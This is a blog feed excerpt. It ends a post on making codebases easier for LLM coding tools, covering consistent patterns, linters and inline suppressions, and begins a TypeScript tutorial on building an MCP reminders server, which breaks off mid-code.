LLMs learn from the code they see. Consistent patterns mean the LLM has strong signals about how to write new code. Inconsistent patterns mean the LLM has to guess, and guesses lead to errors.</p>

<h3 id="2-have-reference-files-for-coding-styles">2. Have Reference Files for Coding Styles</h3>

<blockquote>
  <p>One good example is worth a thousand words of explanation.</p>
</blockquote>

<p><strong>What to include:</strong></p>

<ul>
  <li>A well-written test file that shows your testing patterns</li>
  <li>A reference controller that demonstrates your preferred structure</li>
  <li>Example configuration files that show the right way to set things up</li>
  <li>Sample pipeline definitions if you use CI/CD</li>
</ul>

<!-- Reusable note component. Has a type with values "info", "warning", "error" uses blockquote with class corresponding to the type -->
<blockquote class="note error">
    
<p>Make sure the reference file is <strong>of high quality</strong>. A bad reference file is worse than no reference file.<br />
The LLM will replicate the problems.</p>

</blockquote>

<h3 id="3-create-base-documentation-for-project-structure">3. Create Base Documentation for Project Structure</h3>

<blockquote>
  <p>LLMs need to understand the big picture before they can work on specific pieces.</p>
</blockquote>

<p><strong>Create a document that answers:</strong></p>

<ul>
  <li>What does this project do?</li>
  <li>How is the code organized? (What goes where?)</li>
  <li>What are the key conventions we follow?</li>
  <li>What external systems do we integrate with?</li>
  <li>What’s our approach to error handling?</li>
</ul>

<p>This doesn’t need to be elaborate. A simple README or ARCHITECTURE.md file that gives the 30,000-foot view is enough.</p>

<p><strong>Why it matters</strong>:<br />
Without this context, LLMs either load a lot of context by scanning through files or make assumptions. With this context, they make informed decisions.</p>

<h3 id="4-make-similar-things-look-similar">4. Make Similar Things Look Similar</h3>

<blockquote>
  <p>If two things do similar jobs, they should look similar in code.</p>
</blockquote>

<p>This is especially powerful for:</p>

<ul>
  <li><strong>Pipeline definitions</strong> - Infrastructure-as-code files like Bicep, ARM templates, GitHub Actions, or Azure DevOps YAML should follow templates</li>
  <li><strong>API endpoints</strong> - If you have 20 REST endpoints, they should all follow the same pattern for routing, validation, and error handling</li>
  <li><strong>Database queries</strong> - Query patterns should be consistent (parameterized, error handling, connection management)</li>
</ul>

<p><strong>What happens when you do this</strong>:<br />
LLMs become extremely good at replicating well-defined patterns. If your pipeline files all look alike, the LLM can create new ones with high accuracy.</p>

<h3 id="5-provide-examples-in-requirements">5. Provide Examples in Requirements</h3>

<blockquote>
  <p>Task descriptions with examples produce better results than task descriptions with just text.</p>
</blockquote>

<p>❌ <strong>Instead of:</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Add validation for the email field
</code></pre></div></div>

<p>✅ <strong>Write:</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Add validation for the email field.

Example of how we validate in UserController.cs:
- Check if email is not null
- Check if email matches regex pattern
- Return ValidationError if check fails

Follow the same pattern we use for phone number validation in the same file.
</code></pre></div></div>

<p><strong>Why it works</strong>:<br />
LLMs are one-shot generators for most PR tools. They don’t get to iterate with you. More context upfront = better first attempt.</p>

<h3 id="6-keep-changes-small-and-focused">6. Keep Changes Small and Focused</h3>

<blockquote>
  <p>One change per PR works better than multiple changes in one PR.</p>
</blockquote>

<p>LLMs are getting exceedingly good at making large changes in one shot. However, the more changes that are made, the more you have to review. This applies to both human-written and LLM-written code, but it’s especially important for LLMs because:</p>

<ul>
  <li>Larger scope has more chances of deviations from objective.</li>
  <li>Small, hard-to-catch bugs can seep in when a lot of files are changed.</li>
</ul>

<p><strong>What to avoid</strong>:<br />
“Refactor the entire service layer and add three new features” is too much for one task.</p>

<p><strong>What works better</strong>:<br />
“Add email validation to UserController following the pattern in UserValidator.cs”</p>

<blockquote>
  <p>It also works fine if you give a structured list of changes in multiple files to steer the direction of changes.</p>
</blockquote>

<h2 id="making-it-hard-to-write-bad-code">Making It Hard to Write Bad Code</h2>

<p>These are guardrails that prevent LLMs (and humans) from making common mistakes.</p>

<h3 id="1-use-linters-and-code-analysis-rules">1. Use Linters and Code Analysis Rules</h3>

<blockquote>
  <p>Most LLM-based coding agents use builds as a way to validate their changes. If the build fails, they fix and retry.</p>
</blockquote>

<p>This means linters are incredibly powerful for steering LLM behavior.</p>

<p><strong>What to enforce:</strong></p>

<ul>
  <li>Code style rules (consistent formatting, naming conventions)</li>
  <li>Code analysis rules (potential bugs, security issues)</li>
  <li>Static analysis (unused variables, unreachable code)</li>
  <li>Custom rules specific to your domain</li>
</ul>

<!-- Reusable highlight component. Takes a title (displayed in the legend) and content (supports markdown via markdownify). -->
<fieldset class="series-details">
    <legend>
        <b>💡Tip</b>
    </legend>
    
<p>If something is important enough that you comment on it during code reviews, make it a linter rule instead.</p>

</fieldset>

<p><strong>Why this is powerful</strong>:<br />
Linters give immediate feedback. LLMs see the error, understand what’s wrong, and fix it automatically. This creates a tight feedback loop that improves code quality without human intervention.</p>

<h3 id="2-break-builds-on-violations-not-just-warnings">2. Break Builds on Violations (Not Just Warnings)</h3>

<blockquote>
  <p>Some LLMs ignore warnings. They only fix errors that break the build. If something is important, make it an error, not a warning.</p>
</blockquote>

<p><strong>Example:</strong></p>

<ul>
  <li>Security rule violations → Break the build</li>
  <li>Required documentation missing → Break the build</li>
  <li>Code coverage below threshold → Break the build</li>
  <li>Naming convention violations → Break the build</li>
</ul>

<p><strong>The tradeoff</strong>:<br />
This might seem strict, but it’s actually liberating. It makes the rules explicit and automatic. Nobody has to remember to check; the build checks automatically.</p>

<h3 id="3-avoid-suppression-files-use-inline-suppressions">3. Avoid Suppression Files, Use Inline Suppressions</h3>

<blockquote>
  <p>Some LLMs use global suppression files as an escape hatch when problems become complex.</p>
</blockquote>

<p><strong>What happens with suppression files</strong>:<br />
Sometimes, when the LLM can’t fix a code analysis error, it adds a suppression to a global file and moves on. This accumulates technical debt.</p>

<p><strong>Better approach</strong>:<br />
Require inline suppressions with justification:</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#pragma warning disable CA1031 // Do not catch general exception types
</span><span class="c1">// We need to catch all exceptions here because this is the top-level error handler</span>
<span class="k">catch</span> <span class="p">(</span><span class="n">Exception</span> <span class="n">ex</span><span class="p">)</span>
<span class="p">{</span>
    <span class="c1">// handle</span>
<span class="p">}</span>
<span class="cp">#pragma warning restore CA1031
</span></code></pre></div></div>

<p><strong>Why this works</strong>:<br />
Inline suppressions are visible during code review. They force the developer (human or AI) to justify why the rule doesn’t apply in this specific case.</p>

<h3 id="4-have-tests-that-llms-can-follow">4. Have Tests that LLMs Can Follow</h3>

<blockquote>
  <p>If you have one well-written test, LLMs can generate more tests following the same pattern.</p>
</blockquote>

<p><strong>What makes a good reference test:</strong></p>

<ul>
  <li>Clear arrange-act-assert structure</li>
  <li>Descriptive test names that explain what’s being tested</li>
  <li>Good use of test helpers and fixtures</li>
  <li>Appropriate assertions</li>
</ul>

<p><strong>Instruction that works well</strong>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Add tests for the new validation logic.
Follow the pattern in UserValidationTests.cs.
Use the same helper methods and assertion style.
</code></pre></div></div>

<p><strong>What to avoid</strong>:<br />
Don’t let LLMs add unnecessary tests just to increase coverage. Specify “add relevant tests only” in your requirements.</p>

<h2 id="practical-tips-for-faster-iterations">Practical Tips for Faster Iterations</h2>

<h3 id="1-set-up-quick-validation-builds">1. Set Up Quick Validation Builds</h3>

<blockquote>
  <p>If your build takes 20 minutes and the LLM runs 5 iterations, the time just adds up.</p>
</blockquote>

<p><strong>The Solution</strong>: Create a lightweight “quick validation” build specifically for LLM iterations:</p>

<ul>
  <li>Skip time-consuming steps that aren’t relevant (deployment, packaging, slow integration tests)</li>
  <li>Run only linters, unit tests, and fast validations</li>
  <li>For agent-based PRs, save the full build for final PR validation and use the simpler build before agents publish the PR.</li>
</ul>

<h3 id="2-add-instructions-to-avoid-common-issues">2. Add Instructions to Avoid Common Issues</h3>

<blockquote>
  <p>LLMs sometimes add things you don’t want. Be explicit about what NOT to do.</p>
</blockquote>

<p><strong>Examples of useful negative instructions:</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>- Don't add suppression files unless absolutely necessary
- Don't add markdown files for explanation
- Don't add unnecessary comments
- Don't add tests that just verify implementation details
</code></pre></div></div>

<p><strong>Why this matters</strong>:<br />
LLMs often try to be “helpful” by adding extra documentation or comments. If you don’t want that, say so explicitly.</p>

<h2 id="continuous-improvement-strategy">Continuous Improvement Strategy</h2>

<p>You don’t need to fix everything at once. Here’s a gradual approach based on what has the highest impact:</p>

<h3 id="phase-1-foundation-week-1-2">Phase 1: Foundation (Week 1-2)</h3>

<ol>
  <li>✅ Create a README with project structure and conventions</li>
  <li>✅ Identify and document your most common patterns (logging, error handling, configuration)</li>
  <li>✅ Create reference files for common tasks (tests, controllers, services)</li>
</ol>

<h3 id="phase-2-guardrails-week-3-4">Phase 2: Guardrails (Week 3-4)</h3>

<ol>
  <li>✅ Enable linters and code analysis rules</li>
  <li>✅ Make important rules break the build (not just warnings)</li>
  <li>✅ Remove global suppression files; require inline suppressions</li>
</ol>

<h3 id="phase-3-optimization-ongoing">Phase 3: Optimization (Ongoing)</h3>

<ol>
  <li>✅ Set up quick validation builds for faster iterations</li>
  <li>✅ Test with LLMs and refine based on results</li>
  <li>✅ Add instructions files like copilot-instructions and claude skills to avoid common issues</li>
</ol>

<blockquote>
  <p>Start with the area of your codebase that changes most frequently. That’s where you’ll see the biggest return on investment.</p>
</blockquote>

<h2 id="hacks-and-tricks-from-the-field">Hacks and Tricks from the Field</h2>

<h3 id="use-voice-typing-for-task-descriptions">Use Voice Typing for Task Descriptions</h3>

<p>Adding context is important, but typing detailed task descriptions is tedious. Use voice typing to:</p>

<ul>
  <li>Add more detail without typing fatigue</li>
  <li>Provide richer context naturally</li>
  <li>Explain examples and patterns verbally</li>
</ul>

<p><strong>Why it works</strong>: People naturally provide more context when speaking than when typing.</p>

<h3 id="have-a-copilot-instructions-file">Have a Copilot Instructions File</h3>

<p>Create a <code class="language-plaintext highlighter-rouge">.github/copilot-instructions.md</code> file (or similar) that tells LLMs:</p>

<ul>
  <li>What patterns to follow in your codebase</li>
  <li>What to avoid</li>
  <li>How to structure code</li>
  <li>What good looks like</li>
</ul>

<p>This file is picked up by Copilot and other tools, reducing the need to repeat instructions in every task.</p>

<h2 id="key-takeaways">Key Takeaways</h2>

<ol>
  <li><strong>Treat LLMs like new team members</strong> - The same things that help humans also help AI</li>
  <li><strong>Consistency beats perfection</strong> - A consistent mediocre pattern is better than inconsistent excellent patterns</li>
  <li><strong>Make good code easy</strong> - Clear patterns guide LLMs toward quality</li>
  <li><strong>Make bad code hard</strong> - Linters and build rules prevent common mistakes</li>
  <li><strong>Provide examples</strong> - One good reference file beats long written instructions</li>
  <li><strong>Be explicit</strong> - Say what you want AND what you don’t want</li>
  <li><strong>Iterate based on results</strong> - Learn what prompts work and refine your approach</li>
  <li><strong>Start small</strong> - Fix high-change areas first, then expand gradually</li>
</ol>

<h2 id="conclusion">Conclusion</h2>

<p>Making your codebase LLM-friendly isn’t about writing code for robots. It’s about writing clearer, more maintainable code that communicates its intent effectively to anyone reading it - human or AI.</p>

<p>The practices in this post are fundamentally about good software engineering: consistent patterns, clear documentation, automated quality checks, and explicit conventions. These practices have always made codebases better for humans. LLMs just make the benefits more obvious and immediate.</p>]]></content><author><name>Shaswat Rungta</name></author><category term="LLM" /><category term="Code Quality" /><category term="Best Practices" /><category term="AI Assistants" /><summary type="html"><![CDATA[What Does “LLM Friendly” Really Mean?]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blog.shaswatrungta.online/assets/images/llm/LLMCODE01/cover.svg" /><media:content medium="image" url="https://blog.shaswatrungta.online/assets/images/llm/LLMCODE01/cover.svg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">MCP server basics - Building an MCP server for reminders</title><link href="https://blog.shaswatrungta.online/blog/llm/mcp/mcp-server-basics" rel="alternate" type="text/html" title="MCP server basics - Building an MCP server for reminders" /><published>2025-06-09T00:00:00+05:30</published><updated>2025-06-09T00:00:00+05:30</updated><id>https://blog.shaswatrungta.online/blog/llm/mcp/mcp-server-basics</id><content type="html" xml:base="https://blog.shaswatrungta.online/blog/llm/mcp/mcp-server-basics"><![CDATA[<h2 id="introduction-to-mcp-servers">Introduction to MCP Servers</h2>

<p>MCP (Model Context Protocol) servers are designed to bridge the gap between AI models and external tools or services. They serve a similar purpose to what API endpoints have been doing for decades. MCP servers expose a set of “tools” (APIs) that the AI can call to perform actions, fetch data, or automate workflows. This enables AI assistants to interact with your apps, databases, or devices in a secure and structured way.</p>

<blockquote>
  <p>MCP is an open protocol. You can find more details and the full specification at <a href="https://modelcontextprotocol.io/">modelcontextprotocol.io</a>.</p>
</blockquote>

<h2 id="what-we-are-building">What We Are Building</h2>

<p>In this post, we’ll build a simple MCP server that manages reminders. The server will expose a tool to add reminders, which can then be invoked by an AI assistant or inspected manually. This example will help you understand how to structure your server, handle inputs, and ensure a smooth experience for both users and AI models.</p>

<h2 id="lets-start-building">Let’s start building</h2>

<p>We will start with a simple TypeScript server and progressively add features. We won’t really be saving the reminder but will mostly focus on interactions between MCP clients and the server. We will build a minimal MCP server exposing an <code class="language-plaintext highlighter-rouge">add-reminder</code> tool. We’ll use TypeScript and the official MCP SDK for this example. We follow the documentation at https://modelcontextprotocol.io/quickstart/server#node to get started.</p>

<p><strong>Our scenario:</strong> <code class="language-plaintext highlighter-rouge">Add a reminder to catch the bus daily at 5PM.</code></p>

<h3 id="set-up-the-project">Set up the project</h3>

<p>Install Node on your system from https://nodejs.org first so that you can run the TS code locally. Anything above Node 16 should be okay.
Check if you have Node by running this in your terminal.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>node --version
npm --version
</code></pre></div></div>

<p>Let’s initialize the project</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># Create a new directory for our project
mkdir reminders
cd reminders

# Initialize a new npm project
npm init -y

# Install dependencies
npm install @modelcontextprotocol/sdk
npm install zod
npm install -D @types/node
npm install -D typescript
</code></pre></div></div>

<ol>
  <li><code class="language-plaintext highlighter-rouge">@modelcontextprotocol/sdk</code> is the official MCP SDK - https://github.com/modelcontextprotocol/typescript-sdk</li>
  <li><code class="language-plaintext highlighter-rouge">zod</code> is a TypeScript validation library. Not essential but eases development - https://zod.dev/</li>
  <li><code class="language-plaintext highlighter-rouge">@types/node</code> for getting types for common Node modules.</li>
  <li><code class="language-plaintext highlighter-rouge">typescript</code> because type check is a boon.</li>
</ol>

<p>Update your package.json to add <code class="language-plaintext highlighter-rouge">type: "module"</code> and a build script:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{
  "type": "module",
  "bin": {
    "reminders": "./build/index.js"
  },
  "scripts": {
    "build": "tsc",
    "watch": "tsc --watch"
  },
  "files": ["build"]
}
</code></pre></div></div>

<p>Create a <code class="language-plaintext highlighter-rouge">tsconfig.json</code> in the root:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{
  "compilerOptions": {
    "target": "ES2022",
    "module": "Node16",
    "moduleResolution": "Node16",
    "outDir": "./build",
    "rootDir": "./src",
    "strict": true,
    "esModuleInterop": true,
    "skipLibCheck": true,
    "forceConsistentCasingInFileNames": true
  },
  "include": ["src/**/*"],
  "exclude": ["node_modules"]
}
</code></pre></div></div>

<blockquote>
  <p>If you use a different directory structure, update <code class="language-plaintext highlighter-rouge">rootDir</code> and <code class="language-plaintext highlighter-rouge">outDir</code> accordingly.</p>
</blockquote>

<h3 id="add-a-basic-server-that-does-not-do-anything">Add a basic server that does not do anything</h3>

<p>Let’s start with a basic server that exposes the metadata about the server first.</p>

<p>Add the below to <code class="language-plaintext highlighter-rouge">src\index.ts</code>.</p>

<div class="language-typescript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">import</span> <span class="p">{</span> <span class="nx">McpServer</span> <span class="p">}</span> <span class="k">from</span> <span class="dl">"</span><span class="s2">@modelcontextprotocol/sdk/server/mcp.js</span><span class="dl">"</span><span class="p">;</span>
<span class="k">import</span> <span class="p">{</span> <span class="nx">StdioServerTransport</span> <span class="p">}</span> <span class="k">from</span> <span class="dl">"</span><span class="s2">@modelcontextprotocol/sdk/server/stdio.js</span><span class="dl">"</span><span class="p">;</span>

<span class="c1">// Create server instance</span>
<span class="kd">const</span> <span class="nx">server</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">McpServer</span><span class="p">({</span>
  <span class="na">name</span><span class="p">:</span> <span class="dl">"</span><span class="s2">reminders</span><span class="dl">"</span><span class="p">,</span>
  <span class="na">version</span><span class="p">:</span> <span class="dl">"</span><span class="s2">1.0.0</span><span class="dl">"</span><span class="p">,</span>
  <span class="na">capabilities</span><span class="p">:</span> <span class="p">{</span>
    <span class="na">resources</span><span class="p">:</span> <span class="p">{},</span>
    <span class="na">tools</span><span class="p">:</span> <span class="p">{},</span>
  <span class="p">},</span>
<span class="p">});</span>

<span class="k">async</span> <span class="kd">function</span> <span class="nx">main</span><span class="p">()</span> <span class="p">{</span>
  <span class="kd">const</span> <span class="nx">transport</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">StdioServerTransport</span><span class="p">();</span>
  <span class="k">await</span> <span class="nx">server</span><span class="p">.</span><span class="nx">connect</span><span class="p">(</span><span class="nx">transport</span><span class="p">);</span>
  <span class="nx">console</span><span class="p">.</span><span class="nx">error</span><span class="p">(</span><span class="dl">"</span><span class="s2">Reminder server running on stdio.</span><span class="dl">"</span><span class="p">);</span>
<span class="p">}</span>

<span class="nx">main</span><span class="p">().</span><span class="k">catch</span><span class="p">((</span><span class="nx">error</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
  <span class="nx">console</span><span class="p">.</span><span class="nx">error</span><span class="p">(</span><span class="s2">`Fatal error in main():`</span><span class="p">,</span> <span class="nx">error</span><span class="p">);</span>
  <span class="nx">process</span><span class="p">.</span><span class="nx">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="p">});</span>
</code></pre></div></div>

<ol>
  <li><code class="language-plaintext highlighter-rouge">name: "reminders",</code> declares a server of the name “reminders”. This is the name that shows up on your clients like Claude. So choose wisely.</li>
  <li><code class="language-plaintext highlighter-rouge">const transport = new StdioServerTransport();</code> creates a stdio-based server transport which essentially means you can start receiving messages on stdin and sending messages on stdout. This is essentially how local MCP servers talk to clients.
    <blockquote>
      <p>Using stdio also means that you can’t randomly use <code class="language-plaintext highlighter-rouge">console.log</code> statements in your code anymore as they will be passed back to the client and will cause parsing errors.</p>
    </blockquote>
  </li>
</ol>

<h3 id="add-functionality-to-add-a-reminder-from-text">Add functionality to add a reminder from text</h3>

<p>Let’s add a tool to the server so that we can add the <code class="language-plaintext highlighter-rouge">add-reminder</code> skill to our server.</p>

<div class="language-typescript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// ...</span>
<span class="k">import</span> <span class="p">{</span> <span class="nx">z</span> <span class="p">}</span> <span class="k">from</span> <span class="dl">"</span><span class="s2">zod</span><span class="dl">"</span><span class="p">;</span>
<span class="c1">// ...</span>
<span class="c1">// const server = new McpServer({...});</span>
<span class="c1">// ...</span>
<span class="nx">server</span><span class="p">.</span><span class="nx">tool</span><span class="p">(</span>
  <span class="dl">"</span><span class="s2">add-reminder</span><span class="dl">"</span><span class="p">,</span>
  <span class="dl">"</span><span class="s2">Add a reminder for the user</span><span class="dl">"</span><span class="p">,</span>
  <span class="p">{</span>
    <span class="na">reminderText</span><span class="p">:</span> <span class="nx">z</span>
      <span class="p">.</span><span class="kr">string</span><span class="p">()</span>
      <span class="p">.</span><span class="nx">describe</span><span class="p">(</span><span class="dl">"</span><span class="s2">Free form text containing the content of the reminder</span><span class="dl">"</span><span class="p">),</span>
  <span class="p">},</span>
  <span class="k">async</span> <span class="p">({</span> <span class="nx">reminderText</span> <span class="p">},</span> <span class="nx">ctx</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
    <span class="c1">// TODO: Actually save the reminder text to some external system.</span>
    <span class="kd">let</span> <span class="nx">response</span> <span class="o">=</span> <span class="p">[</span>
      <span class="s2">`Request ID : </span><span class="p">${</span><span class="nx">ctx</span><span class="p">.</span><span class="nx">requestId</span><span class="p">}</span><span class="s2">`</span><span class="p">,</span>
      <span class="s2">`Your reminder is set.`</span><span class="p">,</span>
      <span class="s2">`Reminder Content: "</span><span class="p">${</span><span class="nx">reminderText</span><span class="p">}</span><span class="s2">"`</span><span class="p">,</span>
    <span class="p">];</span>
    <span class="k">return</span> <span class="p">{</span>
      <span class="na">content</span><span class="p">:</span> <span class="p">[{</span> <span class="na">type</span><span class="p">:</span> <span class="dl">"</span><span class="s2">text</span><span class="dl">"</span><span class="p">,</span> <span class="na">text</span><span class="p">:</span> <span class="nx">response</span><span class="p">.</span><span class="nx">join</span><span class="p">(</span><span class="dl">"</span><span class="se">\n</span><span class="dl">"</span><span class="p">)</span> <span class="p">}],</span>
    <span class="p">};</span>
  <span class="p">}</span>
<span class="p">);</span>
<span class="c1">// ...</span>
<span class="c1">// async function main() {...}</span>
</code></pre></div></div>

<ol>
  <li>Here we add a tool called <code class="language-plaintext highlighter-rouge">add-reminder</code>. Make sure to use a good description of what the tool does so that the MCP client can have help text and it can choose your tool better. In our case, writing a simple text like <code class="language-plaintext highlighter-rouge">Add a reminder...</code> works because it is the only one that is installed, but in the real world, users will have multiple servers installed. Having a good description will ensure users are able to trigger your tool consistently.</li>
  <li><code class="language-plaintext highlighter-rouge">reminderText</code> is an argument that we expose. <code class="language-plaintext highlighter-rouge">z.string()</code> does a validation check that the value passed to reminderText is actually a string. It throws a runtime error otherwise. The description of the argument is also important as it is used by the client to understand what value to pass.</li>
  <li>The callback function is where the actual processing happens. The <code class="language-plaintext highlighter-rouge">ctx</code> object has additional metadata sent by the client. This has the information that we had seen in the inspector like <code class="language-plaintext highlighter-rouge">ctx.requestId</code>.</li>
  <li>The return value has to be in a structured format. Since <code class="language-plaintext highlighter-rouge">content</code> is an array, you can send multiple content types like image, video, etc. as part of a single response. Here we only send <code class="language-plaintext highlighter-rouge">text</code>.</li>
</ol>

<p>Testing this against Claude gives us a nice end-to-end working example.</p>

<p><strong>Sample prompt</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Add a reminder to catch the bus.
</code></pre></div></div>

<h3 id="test-with-inspector">Test with inspector</h3>

<p>We can test the MCP server using the <a href="https://modelcontextprotocol.io/docs/tools/inspector">MCP Inspector</a>.
It is the simplest way to test the handling of different inputs from the mcp client.</p>

<ol>
  <li>Build your server: <code class="language-plaintext highlighter-rouge">npm run build</code>.</li>
  <li>Open Inspector <code class="language-plaintext highlighter-rouge">npx -y @modelcontextprotocol/inspector node ./build/index.js</code></li>
</ol>
<div class="centered-image-container">
    <img alt="Inspector in cli" src="/assets/images/llm/LLMMCP01/inspector-1.png" class="centered-image" />
  </div>

<p>Click on connect and you should see the add-reminder tool with the reminderText parameter.</p>
<div class="centered-image-container">
  <img alt="Inspector with parameters" src="/assets/images/llm/LLMMCP01/inspector-2.png" class="centered-image" />
</div>

<p>Try calling the <code class="language-plaintext highlighter-rouge">add-reminder</code> tool with sample inputs:</p>
<div class="centered-image-container">
  <img alt="Inspector with parameters passed to tool" src="/assets/images/llm/LLMMCP01/inspector-3.png" class="centered-image" />
</div>

<p>Inspector will show the request and response, helping you debug and iterate quickly.</p>

<h3 id="test-with-claude-desktop">Test with Claude Desktop</h3>

<p>We should also test how the tool works with Claude Desktop in a real life scenario.
We can follow the doc at <a href="https://modelcontextprotocol.io/quickstart/server#testing-your-server-with-claude-for-desktop-2">Model Context Protocol docs</a> to get started.</p>

<p>Open Claude and go to <code class="language-plaintext highlighter-rouge">File-&gt;Settings-&gt;Developer-&gt;Edit config</code>.</p>
<div class="centered-image-container">
  <img alt="claude config" src="/assets/images/llm/LLMMCP01/claude-1.png" class="centered-image" />
</div>
<p>Add the following config to <code class="language-plaintext highlighter-rouge">claude_desktop_config.json</code>.</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"mcpServers"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nl">"reminders"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
      </span><span class="nl">"command"</span><span class="p">:</span><span class="w"> </span><span class="s2">"node"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"args"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">"C:</span><span class="se">\\</span><span class="s2">src</span><span class="se">\\</span><span class="s2">Github</span><span class="se">\\</span><span class="s2">reminders</span><span class="se">\\</span><span class="s2">build</span><span class="se">\\</span><span class="s2">index.js"</span><span class="p">]</span><span class="w"> </span><span class="err">//</span><span class="w"> </span><span class="err">Use</span><span class="w"> </span><span class="err">absolute</span><span class="w"> </span><span class="err">path.</span><span class="w">
    </span><span class="p">}</span><span class="w">
  </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p>Claude options should show <code class="language-plaintext highlighter-rouge">reminders</code>.</p>
<div class="centered-image-container">
  <img alt="claude config" src="/assets/images/llm/LLMMCP01/claude-2.png" class="centered-image" />
</div>
<p>Under <code class="language-plaintext highlighter-rouge">reminders</code>, there should be the <code class="language-plaintext highlighter-rouge">add-reminder</code> tool enabled.</p>
<div class="centered-image-container">
  <img alt="claude config" src="/assets/images/llm/LLMMCP01/claude-3.png" class="centered-image" />
</div>
<p>Claude will ask you for permission before using the server. During development, use “Allow Once” so that you can check the permission window and updates to it every time.</p>
<div class="centered-image-container">
  <img alt="claude config" src="/assets/images/llm/LLMMCP01/claude-4.png" class="centered-image" />
</div>
<p>Use the prompt to see the request and response objects.</p>
<div class="centered-image-container">
  <img alt="claude config" src="/assets/images/llm/LLMMCP01/claude-5.png" class="centered-image" />
</div>

<h3 id="add-a-reminder-from-text-with-date-and-time">Add a reminder from text with date and time</h3>

<p>Reminders don’t really work well without specifying when you should be reminded. Our intention here is that we want the LLMs to do the heavy lifting and figure out the reminder time from the user’s text instead of us parsing the original text and getting it. This is where the superpowers of LLMs start to kick in.</p>

<p>Let’s update our <code class="language-plaintext highlighter-rouge">add-reminder</code> tool to accept a <code class="language-plaintext highlighter-rouge">reminderTime</code> argument in addition to <code class="language-plaintext highlighter-rouge">reminderText</code>. This allows the client (or LLM) to extract and provide the time, so your server doesn’t need to parse natural language dates.</p>

<p>First, update the tool registration:</p>

<div class="language-typescript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">import</span> <span class="p">{</span> <span class="nx">z</span> <span class="p">}</span> <span class="k">from</span> <span class="dl">"</span><span class="s2">zod</span><span class="dl">"</span><span class="p">;</span>

<span class="nx">server</span><span class="p">.</span><span class="nx">tool</span><span class="p">(</span>
  <span class="dl">"</span><span class="s2">add-reminder</span><span class="dl">"</span><span class="p">,</span>
  <span class="dl">"</span><span class="s2">Add a reminder for the user</span><span class="dl">"</span><span class="p">,</span>
  <span class="p">{</span>
    <span class="na">reminderText</span><span class="p">:</span> <span class="nx">z</span>
      <span class="p">.</span><span class="kr">string</span><span class="p">()</span>
      <span class="p">.</span><span class="nx">describe</span><span class="p">(</span><span class="dl">"</span><span class="s2">Free form text containing the content of the reminder</span><span class="dl">"</span><span class="p">),</span>
    <span class="na">reminderTime</span><span class="p">:</span> <span class="nx">z</span>
      <span class="p">.</span><span class="kr">string</span><span class="p">()</span>
      <span class="p">.</span><span class="nx">optional</span><span class="p">()</span>
      <span class="p">.</span><span class="nx">describe</span><span class="p">(</span>
        <span class="dl">"</span><span class="s2">Contains the date time of the reminder in ISO format if it is specified by the user. Use this field only if a single specific point in time is mentioned in the reminder.</span><span class="dl">"</span>
      <span class="p">),</span>
  <span class="p">},</span>
  <span class="k">async</span> <span class="p">({</span> <span class="nx">reminderText</span><span class="p">,</span> <span class="nx">reminderTime</span> <span class="p">},</span> <span class="nx">ctx</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
    <span class="c1">// ...</span>
    <span class="c1">// Validate and parse reminderTime as ISO 8601</span>
    <span class="kd">let</span> <span class="na">parsedTime</span><span class="p">:</span> <span class="nb">Date</span> <span class="o">|</span> <span class="kc">null</span> <span class="o">=</span> <span class="kc">null</span><span class="p">;</span>
    <span class="k">try</span> <span class="p">{</span>
      <span class="nx">parsedTime</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Date</span><span class="p">(</span><span class="nx">reminderTime</span> <span class="o">??</span> <span class="dl">""</span><span class="p">);</span>
      <span class="k">if</span> <span class="p">(</span><span class="nb">isNaN</span><span class="p">(</span><span class="nx">parsedTime</span><span class="p">.</span><span class="nx">getTime</span><span class="p">()))</span> <span class="p">{</span>
        <span class="k">throw</span> <span class="k">new</span> <span class="nb">Error</span><span class="p">(</span><span class="dl">"</span><span class="s2">Invalid date</span><span class="dl">"</span><span class="p">);</span>
      <span class="p">}</span>
    <span class="p">}</span> <span class="k">catch</span> <span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="p">{}</span>
    <span class="kd">let</span> <span class="nx">response</span> <span class="o">=</span> <span class="p">[</span>
      <span class="s2">`Request ID: </span><span class="p">${</span><span class="nx">ctx</span><span class="p">.</span><span class="nx">requestId</span><span class="p">}</span><span class="s2">`</span><span class="p">,</span>
      <span class="s2">`Your reminder is set.`</span><span class="p">,</span>
      <span class="s2">`Reminder Content: "</span><span class="p">${</span><span class="nx">reminderText</span><span class="p">}</span><span class="s2">"`</span><span class="p">,</span>
